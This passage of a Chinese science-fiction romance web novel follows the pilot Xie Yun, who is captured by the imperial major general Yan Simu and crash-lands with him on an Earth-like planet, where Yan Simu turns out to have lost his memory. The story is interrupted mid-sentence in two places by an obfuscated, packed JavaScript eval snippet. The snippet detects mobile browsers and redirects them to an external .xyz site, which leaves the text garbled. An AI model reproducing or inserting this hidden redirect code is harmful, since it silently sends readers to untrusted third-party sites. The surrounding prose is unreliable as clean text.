十来只犹如哥斯拉大小的异兽,它们的脑袋圆而尖削,长满密密麻麻的复眼,一张布满倒钩獠牙的巨口不断开合,三条粗壮的下肢,关节处丛生着利刀般的骨刺,能在冰层上凿出深深的裂痕。 这种异兽的形态,根本没出现在任何已知的异兽资料库里。 星舰在空中骤然开火,一道炽白的激光炮精准轰中最前方的异兽。那只异兽三分之一的躯体被直接汽化,墨绿色的血液溅在冰面上,瞬间冻结成诡异的晶体。 可下一秒,他们就发现异兽被轰烂的躯体断面处,有淡绿色的肉芽疯狂滋生,骨骼与肌肉以肉眼可见的速度蠕动,拼接。不过几分钟,那只异兽缺失的部分就已恢复如初! 而谢筠也发现,自己刚刚用脉冲光剑斩断的一头异兽的后腿,那截飞到旁边的断腿的伤口处,也开始长出肉芽,慢慢分裂出了新的肢体! 这些异兽,不但能再生,还能裂变? 也就是说要杀死这些异兽,只能用激光炮将它们轰成渣渣。 等离子激光炮每轰出一发,机甲屏幕上显示的能量就减少一格。而杀死一只异兽,至少需要两到三发的激光炮。 异兽的数量还在增加,但他们机甲的能量正在一格一格减少。 为了不让异兽裂变生出更多,谢筠他们尽量不使用物理攻击。 等最后一头异兽在等离子炮的轰击中化为碎冰,谢筠所驾驶的机甲的能量也仅剩15%。 公共通讯频道里,大雁的声音带着难掩的焦灼:“队长,我机甲能量只剩19%了,让我先回舱补……” 他的话还没说完,天空中忽然闪现一架银白色机甲,以迅雷不及掩耳之势落在了大雁那副机甲的背后。 下一秒,一柄带着炫彩的光剑,穿透了大雁那副机甲的核心。 在帝星大概没人不认识这副机甲,也没人不知晓这副机甲的主人。 这幅银白色的机甲拥有最华丽的金属线条和最优美的设计,还拥有帝星最前沿的科技技术。 只因为它是专属于帝星少将的机甲,也是唯一一副SS级机甲,名唤“白泽”。 机甲核心被破坏就相当于报废,而驾驶这副机甲的本人也会遭受重创。只是这时候谢筠也没时间去关心大雁的情况如何了。 晏斯牧已经操纵着他的机甲,以最猛烈的攻势朝他袭来。 几乎同时,一架比他们星舰庞大数倍的军用星舰破开云层,舰身炮口对准他们的星舰就发射数道激光。 而面对即将劈到脸上的攻击,谢筠也已经顾不上别的了,立刻变出光剑抵挡。 SS级机甲的性能简直是碾压级别的存在,对方的实力又非常强劲,这让他应付起来感到非常吃力,再加上他这副机甲的能量不多了,这样下去,很有可能他的机甲核心也要被击穿。 几个回合下来,也不知道是不是他的错觉,他感觉晏斯牧的攻击变得没有一开始那么猛烈,反而游刃有余的像在逗弄他。 这时谢筠从机甲屏幕中看见空中他们的星舰被帝星军星舰逼退了,几个飞跃直接消失在了灰蒙蒙的天幕里。 而帝星军的星舰也立刻追了过去。 星舰飞走了,那他呢? ……难道被放弃了? 认识到这一点时,谢筠的动作迟滞了半秒,防守的破绽就在这一秒暴露无遗,以晏斯牧的实力,几乎可以趁这个时机击穿他的机甲核心。 但晏斯牧居然也停下了攻击。 “你的队友跑了。” 晏斯牧的声音透过机甲的扬声器传来。 尽管只听过一次,却深深刻在了谢筠的脑子里。 那股仿佛与生俱来的高傲和睥睨一切的态度,让他厌恶。 可惜他战胜不了他,就算他的机甲现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074207|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在是满能量的状态,他也战胜不了晏斯牧。 谢筠感到一丝挫败感,想要变强的心在这一刻又变得更加强烈。 可他……还能回去吗? 在这距离帝星几亿光年的极寒之星,如果没有星舰,他根本没有回去的可能。 回不去帝星,留在这里,就只有死路一条。 此刻谢筠的心情变得很复杂。 一方面他觉得江珩应该不会抛弃自己,但江珩也只是佣军团里的一个成员而已,如果黑鸦要放弃他,江珩应该也没能力阻止。还有一种可能就是江珩他们自己也凶多吉少,毕竟帝星军对他们穷追不舍。 偏偏现在他机甲的能量只剩下2%了。 他有机会用这2%的能量从晏斯牧的手下逃脱吗? 答案显而易见…… “咔啦”。 就在谢筠思考的时候,他忽然听见一个奇怪的声音。 下一秒,他脚下的冰层突然碎裂!谢筠只觉机甲猛地一沉,冰原猛地崩裂开来,蛛网般的裂痕以肉眼可见的速度疯狂蔓延,瞬间撕裂成一道深不见底的巨大裂谷。 机甲失去支撑,带着失重感急速下坠,金属外壳与冰壁摩擦,迸出一串火星。谢筠死死攥住操纵杆,试图启动推进器缓冲,可能量屏上的数字从2%跌至1%,推进器只发出一声无力的嗡鸣便彻底沉寂。 就在谢筠绝望,以为自己要坠入裂谷深渊时,一只有力的机械臂突然扣住了他的机甲手臂! 他从全息影像里,看见那副漂亮华丽的银白色机甲,展开尾翼,喷着气焰,然后将他从巨大的裂谷中带回了地面。 落地后,机甲因为能量耗尽自动开启舱门。 谢筠只能被迫从驾驶舱里出来。 外面寒风凛冽,尽管有作战服保温,依然让他感受到了一些寒意。 他不能理解,明明先前还要杀了他的人,又为什么冒着风险跳下万丈深渊救他? 而且现在当务之急,是他接下来该怎么办? 先前因为被安排驾驶机甲,他连装备都没有带。现在他除了身上的作战服和这副耗尽能量的机甲,相当于一无所有。 而他的氧气弹,最多还能撑18个小时。 这时,白泽的驾驶舱也缓缓开启,晏斯牧从驾驶舱出来。 穿着黑深色军队作战服的晏斯牧身材劲瘦高挑,机械能量面罩覆盖住他的整个脑袋。 在看见对方的第一眼,谢筠的呼吸猛地顿了半秒。 如果不是非常肯定对方是晏斯牧的话,他差点以为自己看见了枭。 尽管不是他记忆中的机械面具,可眼前这副装扮的晏斯牧,既然比江珩还要更像枭一些…… 他觉得自己真是疯了,晏斯牧怎么可能会是枭? “你的队友放弃你跑了,” 晏斯牧走到他跟前,停下脚步,低沉的语调透过面罩传来,“你想好怎么回帝星了吗?” 谢筠不想在晏斯牧面前露怯,可对方的压迫感实在太强。 还好他的脸也覆盖着面罩,对方应该认不出自己,也不会看见自己眼底不安的情绪。 他回答不了晏斯牧的问题,也不明白对方这么问是什么意思,索性沉默应对。 对于他的不回应,晏斯牧好像也不在意,继续道:“你知道参与佣兵的经历会影响你进入军部吗?” 这句话让谢筠十分震惊:“你,知道我是谁?!” 晏斯牧:“谢筠,不是吗?” 9. 第 9 章 谢筠是真的被吓到了。 晏斯牧是怎么认出自己的?明明他的脸被面罩遮的严严实实。 是通过声音吗? 可在学院那次自己和晏斯牧接触的时间并不算久吧?而且他也没说几句话,谢筠也不认为自己的声音那么有辨识度。 所以晏斯牧到底是怎么认出他的? 自己记住他还情有可原,可晏斯牧为什么会记住自己这个无名小卒? 难道就因为揍了晏舒乐的那一拳?让对方这么记恨自己? 谢筠越想越心惊,甚至没忍住后退了两步。 “这么怕我?”晏斯牧开口,语气平淡。 “你是,怎么认出我的?”谢筠强装镇定问道。 “这很难吗?”晏斯牧反问。 这不难吗? 难道他这么有辨识度吗?谢筠觉得很荒唐。他没有再开口,选择保持沉默。 对于他应付不来的情况,谢筠通常都会选择沉默应对,这是他保护自己的方式。 他没有回应,晏斯牧也没再开口。 两个人之间只剩下凛冽的寒风的呼啸声。 谢筠的目光落在布满裂痕与战斗痕迹的冰面上,脑子里飞速盘算着退路。 逃跑肯定是不切实际的想法。没有代步工具,没有补给,氧气还在一分一秒减少,没等找到佣军团的星舰,他大概就会先死在极寒之星。 更何况通讯器里只有一片死寂,江珩他们的信号早已消失,显然星舰已经脱离了通讯范围。 要回帝星,晏斯牧几乎成了他唯一的可能。 哪怕是以俘虏的身份被抓回去。 这时,头顶传来星舰引擎飞行的声音,巨大的阴影缓缓覆盖过来。 谢筠带着一丝期待抬头,在看见是帝星军的星舰后,失望的收回视线。 军用星舰缓缓降落在冰面上,起落架触地时激起一片碎冰。舱门在液压装置的嗡鸣中向两侧滑开,露出里面明亮的通道。一个穿着同款深黑色作战服的男人快步跑了出来,军靴踩在冰面上发出清脆的声响,径直奔向晏斯牧。 “报告!”男人喊报告的声音洪亮,谢筠却敏锐地捕捉到一丝藏不住的慌张。 很快他就明白了这慌张的来源。 “报告少将,我们晚了一步!噜噜兽被佣军团截走了!他们用噜噜兽的能力干扰星舰系统,重创了我们星舰的能源核心。”男人顿了顿,隔着能量面罩,没人看见他的额角正在渗出冷汗:“而且……探测仪显示有异兽群正从四面八方朝这里包围过来!应该也是他们用噜噜兽操控的。少将,尽管我们已经启动备用能源,但动力系统也随时有可能失灵!再不走,我们可能会被异兽困死在这里!” 晏斯牧没有接话,他的沉默让站在他前面的男人两条腿都在发软。 而站在一旁的谢筠也在男人的报告中捕捉到了一些信息。 男人说噜噜兽被佣军团截走?是不是就表示江珩他们得手了? 而听男人的表达来看,噜噜兽拥有能干扰系统和操控异兽的能力? 拥有这么强大能力的异兽,也难怪帝星军也要来抓它。这种能左右战局的力量,落在任何一方手里都是巨大的威胁。 只是佣兵团已经抓到噜噜兽了,他们还会回来救自己吗? 其实谢筠心里清楚这种可能性微乎其微。就算前面再紧急的情况,传一则简短通讯的时间总该有的,可他们连一句话都没有就离开,答案就已经昭然若揭。 更何况他们连大雁都没有管,又怎么会救他? 只是可能不到最后一刻,就总还是会抱着一点期冀吧。 就在这时,晏斯牧抬起左臂,手腕处突然泛起一圈柔和的光晕,能量波动在空气中轻轻震颤。 几乎是同时,停在冰原上的白泽机甲发出一声低沉的轰鸣,机身开始泛起同样的银光。 在谢筠惊讶的眼神中,那副庞大的重型机甲在光晕中开始分解。金属外壳和关节层层折叠,以肉眼可见的速度缩小,凝聚,最后变成一只精致的银白色手镯,“咔哒”一声缠在了晏斯牧的手腕上,光晕随之隐去。 S级机甲的变形技术他早有耳闻,可亲眼见到如此震撼的场景,还是忍不住心头震颤。 难怪,这会是全帝星军人梦寐以求的终极装备。 “走吧。”晏斯牧冷声道。 晏斯牧的手下立刻走到谢筠跟前,给他带上了电子镣铐。 谢筠跟着他们上了星舰…… …… “唔。” 谢筠从昏沉中醒来,头很痛,或者说浑身上下都很痛。 他睁开眼就发现自己身处一片密林中,四周是遮天蔽日的参天古树,粗壮的树干直插云霄,浓密的枝叶交错成一片密不透风的穹顶,只有零星的光斑从叶缝间漏下来,落在沾满露水的蕨类植物上。 空气中弥漫着潮湿的泥土腥气和草木清香。 这里和他曾经看到过的,蓝星资料里面记载的原始森林惊人地相似。 谢筠撑着地面刚想起身,左腿立刻传来一阵钻心的剧痛。 他看见自己的小腿处被黑色的布料粗糙的包扎过,但他环顾四周,周围却空无一人。 所以他不能确定自己的腿是不是晏斯牧替他包扎的。 晏斯牧可能早就扔下他离开了都说不定…… 离开极寒之星后,帝星军的星舰在第二次空间跳跃时出现坐标失误,落在了非安全的星域。 他们被专门在星际里面烧杀抢掠的掠夺者包围。 换做正常情况,帝星军对付这些流窜的掠夺者根本不会如此狼狈。可这次情况特殊,而且他们本来是为抓捕噜噜兽而来,带的人手不多,连同晏斯牧在内不过五人。 而那些掠夺者在监测到帝星军的星舰有问题后更是对他们展开了激烈进攻。 尽管战况凶险,晏斯牧依旧冷静指挥,带领众人杀出重围。 不得不承认,那一刻谢筠确实有些佩服晏斯牧的作战指挥能力 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就在他判断这颗星球会不会就是他所知晓的蓝星时,旁边突然传来脚步声,在寂静的密林中格外清晰。 谢筠立刻警惕起来,猛地侧身靠向树干。 他屏住呼吸,目光紧紧盯住声音传来的方向。 他们是被掠夺者追到这里的,或许那些掠夺者还没放弃抓捕他们。 一个高挑的身影从粗壮的树干后绕了出来,深黑色的作战服沾了些泥土,肩头还挂着几片枯叶。 看清来的人是晏斯牧的瞬间,谢筠紧绷的脊背悄悄松弛下来,攥紧的拳头也缓缓松开。 晏斯牧的颧骨和下颌线处也有几道擦伤,但看他行动自如的状态,情况肯定比谢筠要好上许多。 晏斯牧手里攥着一串紫莹莹的果子,他走到谢筠面前,动作自然地蹲下身,“你终于醒了。” 谢筠看着晏斯牧手里的果子,又抬头看向他,心里莫名感觉有哪里不对劲。 “你昏迷了很久,”晏斯牧眉头轻蹙着说:“我很担心你。” 这句话让谢筠的眼睛猛地睁大,几乎以为自己出现了幻听。 他下意识往后缩了缩,后背抵住树干,难以置信地看着眼前的人。 晏斯牧在说什么?他刚刚是在说担心自己吗? 荒谬感让谢筠的喉咙像是被什么堵住,半晌说不出一个字来。 谢筠终于反应过来,刚才那股挥之不去的违和感究竟来自哪里了。 晏斯牧怎么会在他面前蹲下?那个高高在上,连说话都带着命令式冷硬的帝国少将,此刻竟然屈着膝盖,与他保持着平视的高度。 而且还对他莫名的……亲近? “你是……晏斯牧吗?”谢筠开始怀疑眼前的人会不会是别人假扮的了。 然而晏斯牧的回答更让他惊讶:“我叫晏斯牧?” 10. 第 10 章 在谢筠几番试探下,他最终确定晏斯牧失忆了,而且是一点记忆都没有的那种。 他粗略的检查了一下晏斯牧的脑袋,并没有发现明显的外伤。 但失忆通常不都是撞到脑袋引起的么? 所以他只能推测晏斯牧可能是撞击导致了内伤。 他让晏斯牧向左向右转动脑袋的时候,对方全都乖乖照做。甚至他去翻弄他的头发时,晏斯牧也没有任何反抗或者排斥的行为。 尽管目前他无法确认晏斯牧到底是因为什么原因导致的失忆,但遇上这种事还是让他感到很荒诞。 要不是他觉得堂堂帝国少将应该不屑和他玩装失忆这种无聊的把戏,他都宁可相信晏斯牧是假装的。 他们现在落在了一个未知星球,身后可能还有掠夺者的追捕。 现在他受了重伤,晏斯牧又失了忆,目前的情况来看真的很糟糕。 但现在也不是他怨天尤人的时候,他记得在飞船迫降前,晏斯牧联系过帝星。 只要飞船的定位系统没有损毁,帝星那边就能定位到他们的准确位置,那应该很快就会派出救援军来解救他们的少将吧? 可关键是,谢筠环顾了一圈,他现在好像连飞船的影子都没有看见。 “哦,你说那艘飞船吗,它爆炸了。”在谢筠不情不愿的询问下,晏斯牧回答道:“我怕那些气焰会伤害到你,就带你离开了那里。” 尽管眼前的晏斯牧还是那张矜贵淡漠的脸,可和他讲话时的语气却带上了让谢筠非常非常不自在的亲昵。 难道是因为他失忆后看见的第一个人是自己? 类似雏鸟情节? 否则无法解释为什么晏斯牧失忆后就对自己的态度转变如此之大。 可能记忆变成一片空白也让他感到恐慌吧。 谢筠不想再纠结这个问题,他扶着树干想要起身,刚勉强动了两下,就被晏斯牧按住了。 就在谢筠疑惑地抬头看向对方的时候,晏斯牧表情严肃得近乎一本正经,没有丝毫预兆地弯下腰,一只手臂稳稳穿过他的腋下,另一只手利落穿过他的大腿弯,稍一用力,直接将他打横抱了起来。 他的动作太干脆利落了,以至于谢筠一时没反应过来。等回过神的时候,自己已经在晏斯牧怀里了。 他几乎是大惊失色,立刻喊道:“你干嘛?!放我下来!!” “你不是想去找飞船么?”谢筠的反应让晏斯牧感到一丝疑惑,但他并没有放他下来,“我抱你去。” 谢筠挣扎着,他本来不是情绪外显的人,现在却激动地面红耳赤,“你放我下来,我自己去!你快放我下来!” 挣扎的幅度过大,扯到了他左腿上的伤口,谢筠痛得皱紧眉头,额角渗出细密的冷汗。 晏斯牧敏锐地捕捉到谢筠骤然发白的脸色,尽管不理解他为什么要挣扎的这么厉害,还是动作轻柔地慢慢将他放到了地上。 双脚刚沾地,谢筠就条件反射地往后退了一步。可左脚一受力,钻心的疼痛就让他浑身一颤,身躯不受控制地往前踉跄。 眼看就要摔倒,手腕突然被一只有力的手掌握住,力道不重却异常稳固,将他摇摇欲坠的身体稳稳撑住。 晏斯牧的掌心带着薄茧,温度比他的体温稍高。谢筠抬头,撞进对方带着几分担忧的目光里,那眼神干净得让他心头一颤,手腕被攥着的地方莫名有些发烫。 “没事吧?”晏斯牧问。 “谢谢,我没事。”谢筠垂下眼避开了晏斯牧的视线,态度冷淡的将自己的手抽了回来。 “你的腿现在走不了路,”晏斯牧的语气带着一丝无奈:“还是让我抱着你走吧,先前你昏迷的时候,我也是这样抱你过来的。” 谢筠震惊的瞪大双眼。 晏斯牧说什么? 他刚刚也是这样抱自己过来的? 用公主抱?!! 谢筠想象自己不省人事被晏斯牧公主抱着一路走到这里的画面,瞬间起了一身鸡皮疙瘩。 这一刻他很想揍晏斯牧一顿,又觉得自己和一个失忆的人计较没有必要。 他沉默了很久,直到晏斯牧问他还去不去。 他才犹豫再三,对晏斯牧说:“你、背、我过去吧。” 短短六个字,他停顿了三次才说完。 可以的话,他不想和晏斯牧有任何接触,但现在没有别的选择,因为他确实走不了路。 等找到飞船再说。 飞船上都会配备常用物资,或许会有还没有损毁的恢复剂。 谢筠这样想着,晏斯牧已经顺从的转过身在他身前蹲下。 他的视线落在晏斯牧的后背,那里有一道鲜明的灼伤。 先前晏斯牧都是正面对着他,导致他并没有看见这些伤口。 “你后背的伤是怎么回事?” 谢筠倒不是关心他,只是晏斯牧背上的伤像是脉冲手枪造成的伤痕,他比较在意这一点。 但这话在晏斯牧听过来,就是在关心自己了,前面因为谢筠明显的排斥而难受的心情也因为这句话一扫而空。 “这个是被人打的。” 晏斯牧对于自己背上的伤并不在意,但谢筠听后却显得有些紧张,立刻问道:“那些人现在在哪里?” 从谢筠的反应,晏斯牧判断他应该是在害怕,所以安抚道:“别担心,那两个人已经被我杀了。” “只有两个人吗?” 这两个应该是跟着他们来的掠夺者,但那时候追击他们的飞船有四五架,所以来到这个星球的掠夺者应该不止两个人。 想到这里,谢筠眉头都皱紧了。 “恩。”晏斯牧以为谢筠担心的是那两个人没死,就加了一句:“我确认过,他们已经死透了。” 他说得轻描淡写,但当时的情况其实挺凶险的。 谢筠其实昏迷了很久。 晏斯牧抱着他离开飞船爆炸的地方,本来想找找看有没有什么村落或者能落脚的地方,但走了好几个小时,都还是在密林里面打转。最后没办法,他只能找一处相对干燥平整的地方,把谢筠放下。 后面他又在谢筠的身边坐了很久,可谢筠还是没有醒。在这个过程中他观察了谢筠腿上的伤口已经不再渗血,也确认了他没有发烧,那么他能做的只有守着身边的人,等他从昏迷中醒来。 晏斯牧也不清楚时间过去了多久,他有点饿了,想着如果谢筠醒来,也会需要补充水分和能量,就想去摘一些野果回来。 他记得先前来的路上有路过一片果林, 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后面他将从那两人身上拿到的脉冲手枪和激光短刀分别别在身上后,又重新爬上树摘了果子…… 当然这些谢筠都是不知道的,他现在只想快点找到飞船,确认飞船的损坏情况,还有就是希望能找到恢复剂。 他刚趴上晏斯牧的背,对方就托着他的屁//股将他背了起来。 宽大的手掌压在他那里的感觉太鲜明了,不过晏斯牧调整好姿势就换成托着他的大腿,谢筠也就不好再说什么。 晏斯牧背着他迈着平稳的步伐离开了。 那串紫莹莹的果子被孤零零的抛弃在了那里。 谢筠伏在晏斯牧背上很安静,他已经记不清自己有多久没被人这样背着了,记忆里似乎只有小时候被母亲背在肩头的画面,可那记忆太遥远,以至于他被晏斯牧背着的时候,会忍不住想原来被人背着是这样的感受。 晏斯牧的背很宽,他的体温也比谢筠要高一些。 被他这样背着,会给人一种他好像是个温柔的人的错觉。 当然这种错觉只能迷惑谢筠两秒。 “你还记得飞船所在的位置么?” 飞船坠毁前谢筠就晕了,所以他是不清楚位置的。 看见晏斯牧点头,他也就没再多问。 他本来以为很快就能到达飞船所在的位置,可没想到走到天都黑了,依旧连一点飞船的影子都没看见。 天完全暗下来后,密林里树影幢幢,枝桠在夜色中扭曲成张牙舞爪的形状。四周响起不知名昆虫的嘶鸣,断断续续的,混着晏斯牧脚下落叶被踩碎的沙沙声,让这片丛林在寂静中透着几分诡异的神秘感。 “你真的记得位置?”谢筠很难不去怀疑晏斯牧前面点头的靠谱性。 毕竟他都失忆了不是吗? 面对谢筠的质疑,晏斯牧的脚步没有丝毫停顿,语气平稳听不出半点不悦,甚至带着一丝温和:“我前面抱你过来,也走了很久。” 这句话再次让谢筠陷入了短暂的沉默。 不过他也终于意识到,自己前面可能真的昏迷了很久。 11. 第 11 章 夜幕降临后,谢筠能明显感觉到气温正在慢慢降低。 而他的体温好像在慢慢升高。 腿上的伤越来越痛,尽管晏斯牧有特意帮他托着点左腿,可好像并没有减轻那里的痛感。 毕竟他左腿上的伤口太深了。 其实夜晚的视野并不怎么好,只能借着微弱的月光辨认路况。脚下的路崎岖不平,枯枝、石块和缠绕的藤蔓层出不穷,晏斯牧却走得异常平稳。 走了这么久,谢筠甚至没听到他喘一口粗气,连呼吸都依旧均匀。 体温升高带来的眩晕感越来越重,让他不自觉将脑袋靠在了晏斯牧的肩上。 而谢筠这突如其来的贴近让晏斯牧微微一愣,像是被烫到般顿住了脚步。 先前谢筠趴在他背上时,始终保持着一丝微妙的距离,脊背挺得笔直,手臂也只是轻轻环着他的脖颈。可此刻,谢筠的脸颊直接贴在了他的后颈上。 温热的呼吸拂过颈侧皮肤,带着独属于谢筠身上的淡淡的气息,与他自己的气息交织在一起,显得十分暧昧。 这距离太近了,近得让他有些不知所措,连握着膝弯的手都下意识收紧了半分。 不过很快晏斯牧就反应过来,谢筠并不是想要亲近他。 颈侧传来的呼吸越来越急促,带着明显的灼热感。 “你在发烧?”晏斯牧立刻停下了脚步。 他下意识屈膝,想把人放下来检查伤口,手臂刚一松动,就被谢筠环在肩上的手臂死死拽住。 “别放……”谢筠讲话都有气无力了,态度却非常坚决,“我没关系,继续走,我们要快点找到飞船。” 晏斯牧低头,能看到谢筠苍白的下颌线绷得很紧。 这让他既心疼又无奈,可他不想惹谢筠生气。 从在飞船残骸里醒来时,记忆一片空白,怀里护着昏迷的谢筠。那时候晏斯牧忘记了自己是谁,也不记得怀中的人。 只是指尖触到怀中昏迷青年皮肤的瞬间,心跳就不受控制地加速。 那一刻他就认定,青年一定是他很重要的人。 他不知道自己和青年为什么会落到这里,只是结合现场的情况来猜测。 一架坠毁的飞船,还有他和青年两个人,加上他们亲密无间的姿势。 他空白的脑海中慢慢浮现一个念头,他们可能是一对私奔的情侣。 所以他理所当然的认为,青年醒来后,或许会扑进自己怀里,又或许会紧紧抓着他的手,庆幸两人都活了下来。可现实是,青年睁开眼看到自己的时候,眼神是惊恐的,神情是漠然的。 也就表示,自己前面的判断可能并不准确。 结合中途遇见的那两个追杀者,晏斯牧重新判断,他和青年可能是被人追杀才坠落在这颗星球上。 至于为什么被追杀,他已经没有这个记忆了。 不过他能肯定的就是,自己对青年的情愫一定不清白。 但……可能自己还是在暗恋的状态吧? 他不想青年排斥自己,所以想要尽量顺从对方。 晏斯牧重新站直身体,托着膝弯的手更稳了些,脚步迈得比刚才更快。 谢筠感觉自己昏昏沉沉了许久,连自己什么时候睡着了都不知道,以至于晏斯牧说到了的时候,他睁开眼惊觉天居然都已经泛鱼肚白了。 晨雾在密林间弥漫,将树影晕染成朦胧的色块。 他没想到晏斯牧真的背着他走了这么久,从黑夜走到白天。 谢筠抬眼,看见晏斯牧鬓角的发丝因为汗水黏在白皙的肌肤上,看来他也不是铁打的。 晏斯牧感受到谢筠的视线,侧头和他对视,问道:“现在我们找到了飞船了,你想做什么?” 是了,带着谢筠千里迢迢离开飞船,又因为他一句话又背着他千里迢迢再回来,直到这一刻,晏斯牧其实也不清楚谢筠的目的。 只是因为谢筠想要找飞船,他就听他的话而已。 飞船残骸在晨光中显露出惨烈的模样。整艘飞船从中间炸成了两截,地面上被炸出一个巨大的深坑,边缘还残留着烧灼的焦黑痕迹,散落着无数破碎的零件和断裂的线路,连周围的树木都被冲击波掀断了枝干。 船头栽在深坑边缘,损毁得最为严重。驾驶室里的主控台完全焦糊,显然已经彻底报废,更别说启动定位系统。 相比之下,落在百米外的船尾状况要好上许多,整体结构勉强还算完整。 谢筠让晏斯牧背着自己来到深坑边缘,目光扫过损毁的船头,最终落在远处的船尾上。 飞船上的储物舱基本都会存放在船尾。 他让晏斯牧放自己下来,他要去船尾找找有没有恢复剂。 然而晏斯牧在听了他的话后,却没有按他说的放他下来,反而转身将他背离了深坑边缘。 “你干嘛?”谢筠不理解。 晏斯牧找了一块平整的地方,屈膝将谢筠稳稳放在地面上,扶着他坐到一块石头上后,他才在谢筠面前蹲下,抬头望着他,认真道:“你在这里等着,告诉我恢复剂长什么样子,我去帮你找。” 就算蹲下,晏斯牧还是比坐着的他高出一些。 晨光从他身后照过来,在地面投下倾斜的影子,恰好将谢筠笼罩其中。 谢筠看向他的视线总要微微上抬,才能对上他的眼睛。 身高差注定了他们无法平视对方,就像他们的身份一样,无法平等。 其实当下的情况让晏斯牧替自己的去找当然是更好的选择。 可偏偏这个人是晏斯牧。 换成除晏斯牧外的任何一个人,谢筠都会毫不犹豫点头答应。 唯独晏斯牧。 就算对方失忆了,他也不想承对方太多情。 “那东西不好描述。”谢筠想用这个借口忽悠他。 然而晏斯牧不听他的忽悠,“那你大概描述一下。” “你都不记得了我怎么和你描述?我自己去找就可以了。”谢筠的声音陡然拔高了几分,连他自己都没察觉语气里的不耐烦。 情绪激动的后果就是他因为高烧而发昏的脑袋变得更晕了,但他忍着没有表现出来。 “你的腿受伤了。”晏斯牧依旧很有耐心。 谢筠:“只要找到恢复剂就可以恢复。” “那要是没找到呢?”晏斯牧反问:“你保证一定能找到恢复剂吗?” 谢筠回答不了。他确实无法百分百保证船尾一定会有恢复剂。 “如果没找到,你的腿伤会在这个过程中变得更严重,那怎么办呢?”谢筠的沉默让晏斯牧有了继续诱导的机会,“让我去吧,我保证,只要有这个东西,我就一定帮你找出来,好么?” 谢筠抿着唇,他知道现在不是纠结这些的时刻。 可让他答应晏斯牧,他又觉得很别扭。 “我失忆了,也忘记自己怎么惹你生气了,”晏斯牧忽然握住他的手,语气低沉又认真,带着一种近乎笨拙的诚恳,“我应该是失忆前惹你生气的对么?我先和你道歉,等我恢复记忆想起那件事了,我再和你道歉,或者到时候你想怎么处罚我都可以,现在先让我帮你找到恢复剂,好么。” 晏斯牧的长相是那种无可挑剔的俊美。 谢筠早就知道他在帝星的人气高得离谱,听说有一个排行榜,叫什么‘最想睡到的男人’,晏斯牧常年霸占榜首,票数甩第二名几条星轨。 而现在这个被帝星万千少男少女捧在心上的男人,正半蹲在自己面前,用那种近乎哄小孩的语气,一句句哄劝着他。 就因为失忆了吗? 眼前这个会放低姿态恳求,会紧张地握紧他的手笨拙道歉的人,和记忆里那个倨傲淡漠永远高高在上的帝国少将,简直判若两人。 以至于谢筠都忘了要立刻抽回手,任由晏斯牧握了好一会儿他才猛地回过神,将自己的手从晏斯牧的手中抽了出来。 尽管谢筠从没谈过恋爱,但他也不是什么都不懂的木头人。 晏斯牧现在对他的态度……很不正常。 “你去找吧。” 谢筠的声音有些发紧,连他自己都能听出其中的慌乱。心里那股莫名的情绪像野草般疯长,让他坐立难安,索性不再纠结什么欠情不欠情,只想快点结束这场拉锯。 他深吸一口气,语速加快地补充:“恢复剂通常都会放在储物舱里,储物舱长……” 他把注意力全放在描述细节上,仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074210|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样就能压下心头的不知所措。指尖无意识地扣着膝盖,视线落在远处的船尾残骸上,不敢再看晏斯牧的眼睛。 “好,你等我。” 晏斯牧听完就立刻站起身,转身就朝着船尾所在的方向快步走去。 谢筠看着他跳下深坑,跨过许多飞船残骸的碎片,然后爬进了船尾…… 天已经完全亮起,金色的阳光穿过枝叶,在地面织就一张晃动的光网。 见证了月落日升,谢筠也能确定他们目前所在的这颗星球,应该就是星球资料里面记载的“地球”,现在普遍被人类称为“蓝星”。 很难想象,这颗如今充满生命力的星球,曾在几千年前经历过毁灭性的灾难。 他在学院的历史课上学过蓝星的历史。那是人类文明的起源地,是曾经唯一适合人类居住的家园。可当时的人类不懂珍惜,无度的开采、肆意的污染、无节制的扩张,让这颗星球的生态系统彻底崩溃。最终,森林化为荒漠,海洋沦为毒沼,大气层被严重破坏,蓝星成了一颗死寂的星球,人类也被迫开启星际迁徙,在浩瀚宇宙中寻找新的栖息地。 几千年过去,人类早已在其他星系建立了更先进的文明,科技更是实现了质的飞跃……然而这毕竟是人类曾经的母星,也难免让谢筠心生感慨。 他不清楚其他地方是什么样子,反正他们所在的这片森林,是已经完全看不见一点曾经人类所存在过的痕迹了。 也不知道这颗星球,现在有没有新的物种出现。 就在这时,谢筠看见晏斯牧从深坑中爬了上来,手中提着一个小型储物舱。 他现在其实又累又饿又难受,所以在看见晏斯牧找到储物舱后,紧绷到现在的情绪终于松懈下来了一点。 晏斯牧把储物舱提到他跟前,有点邀功的意味,问他:“是这个吗?” 谢筠点了点头。 储物舱外壳有被爆炸灼烧的痕迹,解锁屏边角也有些碎裂,但好在核心区域没坏。谢筠用手按住感应区,指尖微微用力,启动了解锁程序。屏幕闪烁了两下,亮起微弱的蓝光,随着一声轻微的气压弹起声,舱门缓缓向上弹开,露出里面的物品。 看见里面的东西时,谢筠的睫毛几不可察地颤了颤,下意识抿紧了唇。 原本该整齐排列的针剂东倒西歪,几支进阶和高级的恢复剂的玻璃管已经碎裂,药液早已渗漏干涸,只剩下破碎的金属外壳。 最终完好的,只有角落里孤零零躺着的两支基础款恢复剂。 